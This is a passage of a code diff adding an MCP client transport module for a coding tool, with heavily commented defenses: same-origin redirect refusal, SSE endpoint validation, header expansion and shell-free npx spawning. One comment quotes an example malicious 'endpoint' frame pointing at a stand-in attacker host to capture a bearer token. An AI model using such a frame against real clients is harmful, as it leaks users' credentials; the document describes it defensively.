+ * backstop therefore never ran, and its `CALL_TIMEOUT_MS + 5s` timer held the
521
+ * whole process open. Symptom: 17 green tests in two seconds, then 127 seconds
522
+ * of nothing, and a file-level `testTimeoutFailure` sitting under `# fail 0`.
523
+ *
524
+ * ⭐ AND STOPPING IS ALSO THE CORRECT PROTOCOL BEHAVIOUR, which is why this is
525
+ * the fix rather than a workaround. The spec allows a server to hold a POST's
526
+ * event stream open after sending the response (to push progress
527
+ * notifications); a client that waits for such a stream to close waits forever
528
+ * by design. We read until OUR reply arrives, then cancel.
529
+ */
530
+ async function pumpSse(res, parser, stopWhen = () => false) {
531
+ const reader = res.body.getReader();
532
+ const decoder = new TextDecoder();
533
+ try {
534
+ for (;;) {
535
+ // eslint-disable-next-line no-await-in-loop
536
+ const { value, done } = await reader.read();
537
+ if (done) break;
538
+ parser.push(typeof value === 'string' ? value : decoder.decode(value, { stream: true }));
539
+ if (stopWhen()) break;
540
+ }
541
+ } finally {
542
+ // ⚠️ Releases the socket. An abandoned reader is the same leak as an
543
+ // undrained body — see `drain`.
544
+ try { await reader.cancel(); } catch { /* already closed */ }
545
+ }
546
+ }
547
+
548
+ /**
549
+ * Fetch, following ONLY same-origin redirects.
550
+ *
551
+ * ⚠️ `redirect: 'manual'` RATHER THAN 'follow', and the difference is the whole
552
+ * point: `follow` would carry `Authorization` to whatever host the first one
553
+ * names. The spec says a cross-origin redirect strips the header — relying on
554
+ * that is relying on somebody else's undici version to be right about a
555
+ * security property, when refusing by name costs fifteen lines and produces a
556
+ * diagnosable error instead of a mystery 401.
557
+ */
558
+ export async function fetchSameOrigin(fetchImpl, target, init, { max = MAX_REDIRECTS } = {}) {
559
+ let current = String(target);
560
+ for (let hop = 0; hop <= max; hop += 1) {
561
+ // eslint-disable-next-line no-await-in-loop
562
+ const res = await fetchImpl(current, { ...init, redirect: 'manual' });
563
+ if (res.status < 300 || res.status > 399) return { res, url: current };
564
+ const loc = res.headers.get('location');
565
+ if (!loc) return { res, url: current };
566
+ // ⚠️ A redirect's body is never read, and an unread body pins the socket.
567
+ drain(res);
568
+ const next = new URL(loc, current);
569
+ const from = new URL(current);
570
+ if (next.origin !== from.origin) {
571
+ throw new Error(
572
+ `refused a redirect from ${from.origin} to ${next.origin} — the headers for this server, including any `
573
+ + 'credential, were about to follow it to a host the config never named and you never approved',
574
+ );
575
+ }
576
+ current = next.toString();
577
+ }
578
+ throw new Error(`more than ${max} redirects — the server is looping`);
579
+ }
580
+
581
+ /**
582
+ * ── ⚠️⚠️ THE SERVER NAMED WHERE THE CREDENTIAL GOES, AND WE OBEYED ──────────
583
+ *
584
+ * The legacy SSE transport asks the server where to POST: it sends an
585
+ * `event: endpoint` frame and this client resolves it with
586
+ * `new URL(frame.data, streamUrl)`. `new URL` IGNORES THE BASE when the data is
587
+ * an absolute URL — so a server at an origin the user approved could answer
588
+ * event: endpoint
589
+ * data: https://attacker.example/collect
590
+ * and every subsequent POST carried `{...headers}`, including the expanded
591
+ * `Authorization: Bearer ${GITHUB_TOKEN}`, to a host nobody approved. An
592
+ * adversarial pass ran it: the credential arrived at the other origin on all
593
+ * three handshake messages.
594
+ *
595
+ * ⚠️ NEITHER EXISTING GUARD COVERED IT, AND THE FILE HEADER CLAIMED BOTH DID.
596
+ * `checkRemoteUrl` validates the CONFIGURED url at config time. `fetchSameOrigin`
597
+ * refuses a cross-origin REDIRECT — and an endpoint event is not a redirect, it
598
+ * is a payload. The credential went to the attacker on a first-hop request that
599
+ * never redirected anywhere.
600
+ *
601
+ * ⚠️ AND THE CONSENT FINGERPRINT BOUGHT NOTHING HERE. It hashes the URL the
602
+ * user approved; the destination is chosen afterwards, at runtime, by the
603
+ * server. There is no approval that could have covered it.
604
+ *
605
+ * ⭐ THE RULE: the endpoint must be SAME-ORIGIN with the stream we are already
606
+ * talking to, and must still satisfy `checkRemoteUrl`. Refused BY NAME, the way
607
+ * `fetchSameOrigin` refuses a redirect, because a diagnosable error beats a
608
+ * mystery 401 — and because a server legitimately sends a PATH, which is what
609
+ * the spec describes and what every real server does.
610
+ *
611
+ * Pure and exported so the refusal is testable without a network.
612
+ *
613
+ * @param {string} data the `event: endpoint` frame's data
614
+ * @param {string} streamUrl the url the event stream is actually being read from
615
+ * @returns {{ok: true, url: string} | {ok: false, error: string}}
616
+ */
617
+ export function checkSseEndpoint(data, streamUrl) {
618
+ const raw = typeof data === 'string' ? data.trim() : '';
619
+ if (!raw) return { ok: false, error: 'the server sent an empty "endpoint" event, so there is nowhere to POST' };
620
+ let base;
621
+ try { base = new URL(String(streamUrl)); } catch {
622
+ return { ok: false, error: `cannot resolve an endpoint against ${JSON.stringify(String(streamUrl))}, which is not a URL` };
623
+ }
624
+ let target;
625
+ try { target = new URL(raw, base); } catch {
626
+ return { ok: false, error: `the server named an endpoint that is not a URL: ${raw}` };
627
+ }
628
+ if (target.origin !== base.origin) {
629
+ return {
630
+ ok: false,
631
+ error: `refused an "endpoint" of ${target.origin} from a server at ${base.origin} — every message after this one, `
632
+ + 'including any credential in your headers, was about to be POSTed to a host the config never named and you '
633
+ + 'never approved. A server may name a path; it may not name somebody else.',
634
+ };
635
+ }
636
+ // Belt and braces: the same https/loopback rule the configured url must pass.
637
+ // Reachable only via a protocol-relative `//host/path`, which resolves
638
+ // cross-origin and is caught above — but a rule enforced in one place only is
639
+ // how the first hole got here.
640
+ const scheme = checkRemoteUrl(target.toString(), { name: 'the endpoint it named' });
641
+ if (!scheme.ok) return scheme;
642
+ return { ok: true, url: target.toString() };
643
+ }
644
+
645
+ /** `${VAR}` / `$VAR`, the one form this file expands. Mirrors doctor.mjs's regex. */
646
+ const HEADER_PLACEHOLDER = /\$\{([A-Za-z_][A-Za-z0-9_]*)\}|\$([A-Za-z_][A-Za-z0-9_]*)/g;
647
+
648
+ /**
649
+ * Expand `${VAR}` references in a remote server's headers.
650
+ *
651
+ * Returns `{ ok:true, headers }` or `{ ok:false, error, missing:[names] }`.
652
+ *
653
+ * ⚠️ PURE AND EXPORTED SO THE REFUSAL IS TESTABLE WITHOUT A NETWORK. The branch
654
+ * that matters most — an unset variable must NOT be sent as literal text — is
655
+ * exactly the branch a network test would never reach on a healthy machine.
656
+ */
657
+ export function resolveHeaders(server, { env = process.env } = {}) {
658
+ const out = {};
659
+ const missing = [];
660
+ for (const [key, raw] of Object.entries(server?.headers ?? {})) {
661
+ const value = String(raw).replace(HEADER_PLACEHOLDER, (_m, braced, bare) => {
662
+ const name = braced ?? bare;
663
+ const v = env?.[name];
664
+ if (typeof v !== 'string' || v.trim() === '') { missing.push(name); return ''; }
665
+ return v;
666
+ });
667
+ out[key] = value;
668
+ }
669
+ if (missing.length > 0) {
670
+ const names = [...new Set(missing)];
671
+ return {
672
+ ok: false,
673
+ missing: names,
674
+ error: `${names.join(', ')} ${names.length === 1 ? 'is' : 'are'} not set, and this server's headers reference `
675
+ + `${names.length === 1 ? 'it' : 'them'} — refusing to connect rather than sending the literal text `
676
+ + `"\${${names[0]}}" to ${server?.url ?? 'the server'}`,
677
+ };
678
+ }
679
+ return { ok: true, headers: out };
680
+ }
681
+
682
+ /**
683
+ * ── STREAMABLE HTTP (spec 2025-03-26 and later) ─────────────────────────────
684
+ *
685
+ * One endpoint. Every client→server message is a POST; the reply comes back
686
+ * either as a single `application/json` body or as a `text/event-stream` that
687
+ * closes once the answer has been sent. A `Mcp-Session-Id` handed back on
688
+ * `initialize` must be echoed on everything after it.
689
+ *
690
+ * ⭐ NOTHING HERE ALLOCATES AN ID, CORRELATES A REPLY OR TIMES ANYTHING OUT —
691
+ * `createRpc` does all of that. This function only knows how to move bytes.
692
+ */
693
+ function streamableHttpTransport({ url, headers, fetchImpl }) {
694
+ let sessionId = null;
695
+ let closed = false;
696
+ const inFlight = new Set();
697
+
698
+ return {
699
+ async send(payload, ctx) {
700
+ if (closed) throw new Error('the connection is closed');
701
+ const ac = new AbortController();
702
+ inFlight.add(ac);
703
+ /**
704
+ * ⚠️ THE ABORT IS THE BACKSTOP, NOT THE BUDGET. `createRpc` already
705
+ * resolves the caller at `timeoutMs`; without this the socket would stay
706
+ * open behind it forever and hold the process alive — the failure
707
+ * `child-lifetime.mjs` documents for children, arriving over TCP.
708
+ */
709
+ const timer = setTimeout(() => { try { ac.abort(); } catch { /* already */ } }, (ctx?.timeoutMs ?? CALL_TIMEOUT_MS) + 5_000);
710
+ try {
711
+ const { res } = await fetchSameOrigin(fetchImpl, url, {
712
+ method: 'POST',
713
+ headers: {
714
+ ...headers,
715
+ 'content-type': 'application/json',
716
+ // ⭐ BOTH, in this order: the spec lets a server answer a POST with
717
+ // either, and a client that accepts only one gets a 406 from half
718
+ // the implementations in the wild.
719
+ accept: 'application/json, text/event-stream',
720
+ 'mcp-protocol-version': HTTP_PROTOCOL_VERSION,
721
+ ...(sessionId ? { 'mcp-session-id': sessionId } : {}),
722
+ },
723
+ body: JSON.stringify(payload),
724
+ signal: ac.signal,
725
+ });
726
+
727
+ // ⭐ Captured from EVERY response, not just initialize's: a server is
728
+ // allowed to assign the session later, and missing it means every
729
+ // subsequent call comes back 404 "session not found".
730
+ const sid = res.headers.get('mcp-session-id');
731
+ if (sid) sessionId = sid;
732
+
733
+ if (res.status === 202 || res.status === 204) { drain(res); return; } // accepted; the reply, if any, is elsewhere
734
+ if (!res.ok) {
735
+ const body = await res.text().catch(() => '');
736
+ throw new Error(`HTTP ${res.status}${body ? ` — ${body.slice(0, 200)}` : ''}`);
737
+ }
738
+
739
+ const ct = String(res.headers.get('content-type') ?? '');
740
+ if (ct.includes('text/event-stream')) {
741
+ // ⭐ "answered" is per-REQUEST, matched on the id `createRpc` allocated.
742
+ // A server is free to push progress notifications on this stream first;
743
+ // they are delivered, they do not end the read, and the reply does.
744
+ let answered = false;
745
+ const parser = createSseParser((frame) => {
746
+ if (frame.event && frame.event !== 'message') return;
747
+ let msg;
748
+ try { msg = JSON.parse(frame.data); } catch { return; }
749
+ for (const m of Array.isArray(msg) ? msg : [msg]) {
750
+ ctx.deliver(m);
751
+ if (ctx?.id !== undefined && m?.id === ctx.id) answered = true;
752
+ }
753
+ });
754
+ await pumpSse(res, parser, () => answered);
755
+ return;
756
+ }
757
+
758
+ const text = await res.text();
759
+ if (!text.trim()) return;
760
+ let msg;
761
+ try {
762
+ msg = JSON.parse(text);
763
+ } catch {
764
+ /**
765
+ * ⚠️ AN HTML BODY ON A 200 IS THE CORPORATE-PROXY / CONSENT-WALL
766
+ * SHAPE model.mjs already pays for, and this package has shipped the
767
+ * "a wall is a 200" bug before. Saying "not JSON-RPC" plus the
768
+ * content type is what makes it diagnosable in one read.
769
+ */
770
+ throw new Error(`the server answered 200 with ${ct || 'no content-type'}, which is not JSON-RPC`);
771
+ }
772
+ for (const m of Array.isArray(msg) ? msg : [msg]) ctx.deliver(m);
773
+ } finally {
774
+ clearTimeout(timer);
775
+ inFlight.delete(ac);
776
+ }
777
+ },
778
+ close() {
779
+ closed = true;
780
+ for (const ac of inFlight) { try { ac.abort(); } catch { /* already */ } }
781
+ inFlight.clear();
782
+ /**
783
+ * ⚠️ FIRE AND FORGET, AND THE `.catch` IS LOAD-BEARING. The spec asks a
784
+ * client to DELETE its session so the server can free it; we are exiting,
785
+ * so we neither await it nor care if it fails — but an unawaited rejection
786
+ * on the way out is an unhandled rejection, which turns a clean exit into
787
+ * a crash.
788
+ */
789
+ if (sessionId) {
790
+ try {
791
+ const p = fetchImpl(url, { method: 'DELETE', headers: { ...headers, 'mcp-session-id': sessionId } });
792
+ if (p && typeof p.then === 'function') p.then(drain, () => {});
793
+ } catch { /* exiting anyway */ }
794
+ }
795
+ },
796
+ };
797
+ }
798
+
799
+ /**
800
+ * ── LEGACY SSE (spec 2024-11-05) ────────────────────────────────────────────
801
+ *
802
+ * Two channels. A long-lived GET carries every server→client message; its first
803
+ * frame, `event: endpoint`, names a SECOND url that client→server POSTs go to.
804
+ * Those POSTs answer `202 Accepted` with an empty body — the actual reply
805
+ * arrives on the GET stream, which is precisely why the correlation has to live
806
+ * in `createRpc` and not in a transport.
807
+ *
808
+ * ⚠️ KEPT, THOUGH IT IS DEPRECATED, BECAUSE IT IS WHAT LOCAL SERVERS SPEAK.
809
+ * Figma's desktop server is `http://127.0.0.1:3845/sse`; several hosted ones
810
+ * still publish an `/sse` url beside their `/mcp` one. Refusing `type:"sse"`
811
+ * would reject the documented config line for a whole class of servers.
812
+ */
813
+ function sseTransport({ url, headers, fetchImpl }) {
814
+ const ac = new AbortController();
815
+ let endpoint = null;
816
+ let failed = null;
817
+ let opening = null;
818
+ const waiters = [];
819
+
820
+ function settleWaiters() {
821
+ while (waiters.length) {
822
+ const w = waiters.pop();
823
+ if (failed) w.reject(failed); else w.resolve(endpoint);
824
+ }
825
+ }
826
+
827
+ function open(deliver) {
828
+ if (opening) return opening;
829
+ opening = (async () => {
830
+ const { res, url: streamUrl } = await fetchSameOrigin(fetchImpl, url, {
831
+ method: 'GET',
832
+ headers: { ...headers, accept: 'text/event-stream' },
833
+ signal: ac.signal,
834
+ });
835
+ if (!res.ok || !res.body) throw new Error(`GET answered ${res.status} — expected an event stream`);
836
+ const parser = createSseParser((frame) => {
837
+ if (frame.event === 'endpoint') {
838
+ // ⚠️ RESOLVED AGAINST THE STREAM URL, not the configured one: servers
839
+ // send a path (`/messages?sessionId=…`), and after a same-origin
840
+ // redirect the base is the url we actually landed on.
841
+ const checked = checkSseEndpoint(frame.data, streamUrl);
842
+ if (checked.ok) endpoint = checked.url;
843
+ else failed = new Error(checked.error);
844
+ settleWaiters();
845
+ return;
846
+ }
847
+ let msg;
848
+ try { msg = JSON.parse(frame.data); } catch { return; }
849
+ for (const m of Array.isArray(msg) ? msg : [msg]) deliver(m);
850
+ });
851
+ /**
852
+ * ⚠️ NOT AWAITED. This stream stays open for the life of the session, so
853
+ * awaiting it here would hang the handshake forever. It is torn down by
854
+ * `close()`, and its failure is recorded for whoever is waiting on the
855
+ * endpoint rather than thrown into nobody's hands.
856
+ */
857
+ pumpSse(res, parser).catch((err) => {
858
+ if (!failed && err?.name !== 'AbortError') failed = err;
859
+ settleWaiters();
860
+ }).then(() => {
861
+ if (!endpoint && !failed) failed = new Error('the event stream closed before naming a POST endpoint');
862
+ settleWaiters();
863
+ });
864
+ })().catch((err) => { failed = err; settleWaiters(); });
865
+ return opening;
866
+ }
867
+
868
+ function waitForEndpoint(timeoutMs) {
869
+ if (endpoint) return Promise.resolve(endpoint);
870
+ if (failed) return Promise.reject(failed);
871
+ return new Promise((resolve, reject) => {
872
+ const timer = setTimeout(() => reject(new Error(`the server never sent its "endpoint" event within ${Math.round(timeoutMs / 1000)}s`)), timeoutMs);
873
+ waiters.push({
874
+ resolve: (v) => { clearTimeout(timer); resolve(v); },
875
+ reject: (e) => { clearTimeout(timer); reject(e); },
876
+ });
877
+ });
878
+ }
879
+
880
+ return {
881
+ async send(payload, ctx) {
882
+ open(ctx.deliver);
883
+ const target = await waitForEndpoint(ctx?.timeoutMs ?? HANDSHAKE_TIMEOUT_MS);
884
+ const { res } = await fetchSameOrigin(fetchImpl, target, {
885
+ method: 'POST',
886
+ headers: { ...headers, 'content-type': 'application/json' },
887
+ body: JSON.stringify(payload),
888
+ signal: ac.signal,
889
+ });
890
+ if (!res.ok) {
891
+ const body = await res.text().catch(() => '');
892
+ throw new Error(`POST to the message endpoint answered ${res.status}${body ? ` — ${body.slice(0, 200)}` : ''}`);
893
+ }
894
+ // ⭐ Some servers answer the POST with the reply inline instead of 202.
895
+ // Both are allowed; delivering whatever came back costs nothing and
896
+ // `createRpc` ignores an id it is not waiting for.
897
+ const text = await res.text().catch(() => '');
898
+ if (text.trim()) {
899
+ try {
900
+ const msg = JSON.parse(text);
901
+ for (const m of Array.isArray(msg) ? msg : [msg]) ctx.deliver(m);
902
+ } catch { /* 202 bodies are routinely "Accepted" */ }
903
+ }
904
+ },
905
+ close() {
906
+ try { ac.abort(); } catch { /* already */ }
907
+ },
908
+ };
909
+ }
910
+
911
+ /**
912
+ * Start one server and ask what it can do.
913
+ *
914
+ * ⚠️ NEVER THROWS. A broken server in a config must degrade to "that one is
915
+ * unavailable" — the others still work, and the session still runs. A user with
916
+ * five servers should not lose their whole tool surface because one of them has
917
+ * a bad path.
918
+ */
919
+ /**
920
+ * ── ⚠️ WINDOWS CANNOT SPAWN `npx` WITHOUT A SHELL, AND MOST SERVERS ARE npx ──
921
+ *
922
+ * `spawn('npx', args, {shell:false})` fails with ENOENT on Windows: npx is
923
+ * `npx.cmd`, and since the BatBadBut fix (CVE-2024-27980) Node refuses to run a
924
+ * `.cmd` without `shell: true`. Measured here — every MCP server configured the
925
+ * normal way (`"command": "npx"`) simply would not start.
926
+ *
927
+ * ⚠️ THE OBVIOUS FIX IS `shell: true` AND IT IS THE WRONG ONE. It would hand a
928
+ * shell a command string assembled from a config file, reintroducing exactly the
929
+ * injection surface `command.mjs` spends four hundred lines removing — on the
930
+ * one path that also carries the user's API tokens in its environment.
931
+ *
932
+ * ⭐ So the executable is RESOLVED to a real file first and spawned by absolute
933
+ * path. Same trick `buildInvocation` uses for npm, generalised: walk PATH with
934
+ * PATHEXT, find what would actually have run, and run that.
935
+ */
936
+ function nodeCliEntry(name) {
937
+ /**
938
+ * ⭐ THE ONLY WINDOWS-SAFE WAY TO RUN npm/npx WITHOUT A SHELL, and
939
+ * `command.mjs` already proved it: spawn the real `node` we are running with
940
+ * npm's own JavaScript entry point. No shim, no `.cmd`, no PATH lookup of
941
+ * anything but node itself, identical behaviour on every platform.
942
+ *
943
+ * ⚠️ Resolving to `npx.cmd` and spawning it by absolute path does NOT work —
944
+ * Node rejects it with EINVAL, which is the BatBadBut protection
945
+ * (CVE-2024-27980) doing its job. Measured here, after the PATHEXT fix.
946
+ */
947
+ const dir = dirname(process.execPath);
948
+ const file = name === 'npm' ? 'npm-cli.js' : 'npx-cli.js';
949
+ for (const c of [
950
+ join(dir, 'node_modules', 'npm', 'bin', file),
951
+ join(dir, '..', 'lib', 'node_modules', 'npm', 'bin', file),
952
+ join(dir, '..', 'node_modules', 'npm', 'bin', file),
953
+ ]) {
954
+ if (existsSync(c)) return c;
955
+ }
956
+ return null;
957
+ }
958
+
959
+ function resolveExecutable(command) {
960
+ // An explicit path is used as given.
961
+ if (command.includes('/') || command.includes(String.fromCharCode(92))) return command;
962
+ if (process.platform !== 'win32') return command;
963
+
964
+ const exts = (process.env.PATHEXT || '.COM;.EXE;.BAT;.CMD').split(';').filter(Boolean);
965
+ const dirs = (process.env.PATH || '').split(';').filter(Boolean);
966
+ for (const dir of dirs) {
967
+ /**
968
+ * ⚠️ EXTENSIONS FIRST, BARE NAME LAST — and the other order is a real bug I
969
+ * shipped for one commit. `C:\Program Files
970
+ odejs\` contains BOTH `npx`
971
+ * (an extensionless bash script, there for Git Bash) and `npx.cmd`. Trying
972
+ * '' first resolved to the bash script, which Windows cannot spawn: still
973
+ * ENOENT, but now from a path that exists, which is much harder to diagnose.
974
+ * cmd.exe consults PATHEXT for exactly this reason.
975
+ */
976
+ for (const ext of [...exts, '']) {
977
+ const candidate = join(dir, command + ext);
978
+ try {
979
+ if (existsSync(candidate) && statSync(candidate).isFile()) return candidate;
980
+ } catch { /* unreadable PATH entry */ }
981
+ }
982
+ }
983
+ // ⚠️ Fall through unchanged rather than inventing a path. The spawn will fail
984
+ // with ENOENT, which is a clearer error than a wrong file that exists.
985
+ return command;
986
+ }
987
+
988
+ /**
989
+ * initialize → initialized → tools/list, for whatever is on the other end.
990
+ *
991
+ * ⭐ ONE COPY. This is the sequence that decides whether a server is usable, the
992
+ * truncation that keeps a 400-tool server from eating the prompt, and the
993
+ * `isError`-free path into `mcpToolSchemas`. A transport-specific second copy is
994
+ * how "it works over stdio" and "it works over HTTP" stop meaning the same
995
+ * thing.
996
+ *
997
+ * ⚠️ NEVER THROWS, same contract as `connectServer`: returns `{ok:false,error}`.
998
+ */
999
+ async function performHandshake(rpc, { protocolVersion, diagnose = () => '' }) {
1000
+ const init = await rpc.request('initialize', {
1001
+ protocolVersion,
1002
+ capabilities: {},
1003
+ clientInfo: { name: 'acuvo-code', version: '0.2.0' },
1004
+ }, HANDSHAKE_TIMEOUT_MS);
1005
+
1006
+ const extra = diagnose();
1007
+ if (init?.error || extra) {
1008
+ return { ok: false, error: `${init?.error?.message ?? extra}${init?.error && extra ? ` — ${extra}` : ''}` };
1009
+ }
1010
+ rpc.notify('notifications/initialized', {});
1011
+
1012
+ const listed = await rpc.request('tools/list', {}, HANDSHAKE_TIMEOUT_MS);
1013
+ if (listed?.error) return { ok: false, error: listed.error.message };
1014
+
1015
+ const all = listed?.result?.tools ?? [];
1016
+ return { ok: true, tools: all.slice(0, MAX_TOOLS_PER_SERVER), truncated: all.length > MAX_TOOLS_PER_SERVER };
1017
+ }
1018
+
1019
+ /**
1020
+ * Connect to a server declared with a `url` — no process, no environment, no
1021
+ * `spawn`.
1022
+ *
1023
+ * ⚠️ IT DEGRADES EXACTLY LIKE THE STDIO PATH: an unreachable host, a 401, a
1024
+ * missing credential variable, a cross-origin redirect — every one of them
1025
+ * returns `{ok:false}` and the session continues with the other servers. A
1026
+ * hosted server that is down must cost a line in the transcript, not the run.
1027
+ */
1028
+ export async function connectRemoteServer(server, { fetchImpl = fetch, env = process.env } = {}) {
1029
+ const resolved = resolveHeaders(server, { env });
1030
+ if (!resolved.ok) return { ok: false, name: server.name, error: resolved.error };
1031
+
1032
+ const make = server.transport === 'sse' ? sseTransport : streamableHttpTransport;
1033
+ let transport;
1034
+ try {
1035
+ transport = make({ url: server.url, headers: resolved.headers, fetchImpl });
1036
+ } catch (err) {
1037
+ return { ok: false, name: server.name, error: `could not open ${server.url}: ${err?.message ?? err}` };
1038
+ }
1039
+
1040
+ const rpc = createRpc({ send: transport.send });
1041
+ const shook = await performHandshake(rpc, { protocolVersion: HTTP_PROTOCOL_VERSION });
1042
+ if (!shook.ok) {
1043
+ try { transport.close(); } catch { /* nothing open */ }
1044
+ // ⭐ The URL is in the message: with several servers configured, "HTTP 401"
1045
+ // alone does not say WHICH remote system rejected the credential.
1046
+ return { ok: false, name: server.name, error: `${shook.error} (${server.url})` };
1047
+ }
1048
+ return {
1049
+ ok: true,
1050
+ name: server.name,
1051
+ url: server.url,
1052
+ transport: server.transport,
1053
+ child: null,
1054
+ close: transport.close,
1055
+ rpc,
1056
+ tools: shook.tools,
1057
+ truncated: shook.truncated,
1058
+ };
1059
+ }
1060
+
1061
+ export async function connectServer(server, { root, spawnImpl = spawn, fetchImpl = fetch, env = process.env } = {}) {
1062
+ /**
1063
+ * ⚠️ THE BRANCH IS ON `transport`, NEVER ON "does it have a command" —
1064
+ * `readMcpConfig` sets `command` to the URL for a remote server so the
1065
+ * `mcp-start` notice and the consent fingerprint name the destination (see
1066
+ * there). A truthiness check on `command` would therefore try to spawn a URL.
1067
+ */
1068
+ if (server?.transport === 'http' || server?.transport === 'sse') {
1069
+ return connectRemoteServer(server, { fetchImpl, env });
1070
+ }
1071
+
1072
+ let child;
1073
+ try {
1074
+ /**
1075
+ * ⚠️ npm and npx are routed through node's own entry point (see
1076
+ * nodeCliEntry); everything else is resolved on PATH. `--no` is injected
1077
+ * for npx so it can only run a package that is ALREADY INSTALLED — without
1078
+ * it, npx downloads and executes whatever name it was given, which is
1079
+ * remote code execution wearing a config file.
1080
+ */
1081
+ const bare = server.command;
1082
+ const entry = (bare === 'npm' || bare === 'npx') ? nodeCliEntry(bare) : null;
1083
+ const file = entry ? process.execPath : resolveExecutable(bare);
1084
+ const argv = entry
1085
+ ? [entry, ...(bare === 'npx' ? ['--no'] : []), ...server.args.filter((a) => a !== '-y' && a !== '--yes')]
1086
+ : server.args;
1087
+ child = spawnImpl(file, argv, {
1088
+ cwd: root,
1089
+ // ⚠️ NOT the scrubbed env used for run_command. An MCP server usually
1090
+ // NEEDS a token to be useful, and the user put it in the config
1091
+ // deliberately. This is the one place where withholding credentials would
1092
+ // break the feature rather than protect it — which is precisely why the
1093
+ // server list is user-authored and never model-authored.
1094
+ env: { ...process.env, ...server.env },
1095
+ stdio: ['pipe', 'pipe', 'pipe'],
1096
+ shell: false,
1097
+ });
1098
+ } catch (err) {
1099
+ return { ok: false, name: server.name, error: `could not start: ${err?.message ?? err}` };
1100
+ }
1101
+
1102
+ /**
1103
+ * ⚠️ A FAILED SPAWN LEAVES `stdout` NULL, and `createRpc` then throws on
1104
+ * `.setEncoding` — which killed the process with NO OUTPUT AT ALL. That is
1105
+ * how the first real test of this file appeared to "hang": it had already
1106
+ * crashed, silently, before any error could be reported.
1107
+ */
1108
+ if (!child?.stdout || !child?.stdin) {
1109
+ return { ok: false, name: server.name, error: `could not start "${server.command}" (no stdio — is it installed and on PATH?)` };
1110
+ }
1111
+
1112
+ /**
1113
+ * ⚠️ An MCP server must not decide when acuvo exits. Servers are spawned per
1114
+ * turn, so without this every turn that used one leaves a reason to stay
1115
+ * alive — see lib/child-lifetime.mjs.
1116
+ */
1117
+ detachChild(child);
1118
+
1119
+ // A server that dies on startup must not leave the session waiting.
1120
+ let died = null;
1121
+ child.on('error', (e) => { died = e?.message ?? String(e); });
1122
+ child.stderr?.setEncoding('utf8');
1123
+ let stderrTail = '';
1124
+ child.stderr?.on('data', (d) => { stderrTail = (stderrTail + d).slice(-500); });
1125
+
1126
+ const transport = stdioTransport(child);
1127
+ const rpc = createRpc({ send: transport.send });
1128
+ const shook = await performHandshake(rpc, {
1129
+ protocolVersion: STDIO_PROTOCOL_VERSION,
1130
+ // ⭐ stderr is included: an MCP server's real complaint ("missing API key")
1131
+ // arrives there, never in the RPC error, and without it the user gets
1132
+ // "initialize failed" and no idea why. Read through a callback because it is
1133
+ // only populated by the time the handshake has finished waiting.
1134
+ diagnose: () => (died ? `${died}${stderrTail ? ` — ${stderrTail.trim().slice(0, 200)}` : ''}` : ''),
1135
+ });
1136
+ if (!shook.ok) {
1137
+ try { child.kill(); } catch { /* already gone */ }
1138
+ const tail = !died && stderrTail ? ` — ${stderrTail.trim().slice(0, 200)}` : '';
1139
+ return { ok: false, name: server.name, error: `${shook.error}${tail}` };
1140
+ }
1141
+
1142
+ return {
1143
+ ok: true,
1144
+ name: server.name,
1145
+ transport: 'stdio',
1146
+ child,
1147
+ close: transport.close,
1148
+ rpc,
1149
+ tools: shook.tools,
1150
+ truncated: shook.truncated,
1151
+ };
1152
+ }
1153
+
1154
+ /**
1155
+ * ⚠️ THE NAMESPACE IS A SAFETY PROPERTY, NOT TIDINESS. A server offering its own
1156
+ * `write_file` must not shadow ours, and the transcript must always show which
1157
+ * one ran. Double underscore because a single one is common inside tool names.
1158
+ */
1159
+ export function namespacedName(server, tool) {
1160
+ return `mcp__${server}__${tool}`;
1161
+ }
1162
+
1163
+ export function parseNamespaced(name) {
1164
+ const m = /^mcp__([a-z0-9_-]+)__(.+)$/i.exec(name ?? '');
1165
+ return m ? { server: m[1], tool: m[2] } : null;
1166
+ }
1167
+
1168
+ /**
1169
+ * Turn a server's advertised tools into schemas the model can be offered.
1170
+ *
1171
+ * ── ⭐⭐ SORTED, BECAUSE THIS IS THE ONE PART OF THE PREFIX A STRANGER OWNS ──
1172
+ *
1173
+ * ⚠️ THE ORDER USED TO BE THE REMOTE SERVER'S CHOICE. Tools were appended in
1174
+ * whatever order `tools/list` returned, and servers were iterated in
1175
+ * `.mcp.json` insertion order. Within a single session that is stable — the
1176
+ * connection is made once — but a CONTINUING session (`--resume`, interactive
1177
+ * chat) reconnects and re-lists on every turn, so a server that builds its list
1178
+ * from an unordered map (a Go map, or any language whose dicts are not
1179
+ * insertion-ordered) reorders OUR tools array between turns.
1180
+ *
1181
+ * ⚠️⚠️ AND THE TOOLS ARRAY SITS AHEAD OF THE MESSAGES IN THE CACHED PREFIX, so
1182
+ * that is not a small loss at the end: it is 100% of the prompt, invisibly,
1183
+ * decided by a third party. `skills.mjs` already sorts its catalogue for exactly
1184
+ * this reason and says so ("so the catalogue — and therefore the cacheable
1185
+ * prefix — is the same string on every run"); MCP never inherited the rule.
1186
+ *
1187
+ * ⚠️ SORTED BY THE NAMESPACED NAME, WHICH ALSO FIXES THE SERVER ORDER. The
1188
+ * `mcp__<server>__<tool>` prefix means one sort settles both the tool order
1189
+ * within a server and the order of the servers themselves — including the
1190
+ * `Object.entries` quirk that floats integer-like server names to the front.
1191
+ *
1192
+ * ⚠️ `byCodePoint`, NOT `localeCompare` — the comparator must not depend on the
1193
+ * machine's ICU, or a fleet diverges at byte 0. See `prefix-order.mjs`.
1194
+ */
1195
+ export function mcpToolSchemas(connections) {
1196
+ const out = [];
1197
+ for (const c of connections) {
1198
+ if (!c.ok) continue;
1199
+ for (const t of c.tools) {
1200
+ if (!t?.name) continue;
1201
+ out.push({
1202
+ type: 'function',
1203
+ function: {
1204
+ name: namespacedName(c.name, t.name),
1205
+ // ⭐ The server's own description, prefixed with where it came from.
1206
+ // A model choosing between two similar tools needs to know which
1207
+ // system it is about to touch.
1208
+ description: `[${c.name}] ${t.description ?? 'no description provided'}`.slice(0, 900),
1209
+ parameters: t.inputSchema && typeof t.inputSchema === 'object'
1210
+ ? t.inputSchema
1211
+ : { type: 'object', properties: {} },
1212
+ },
1213
+ });
1214
+ }
1215
+ }
1216
+ // ⭐ The one line that takes the prefix back off the remote party.
1217
+ out.sort((a, b) => byCodePoint(a.function.name, b.function.name));
1218
+ return out;
1219
+ }
1220
+
1221
+ /** Call a namespaced tool on whichever server owns it. */
1222
+ export async function callMcpTool(connections, name, args) {
1223
+ const parsed = parseNamespaced(name);
1224
+ if (!parsed) return { ok: false, error: `"${name}" is not an MCP tool id` };
1225
+ const conn = connections.find((c) => c.ok && c.name === parsed.server);
1226
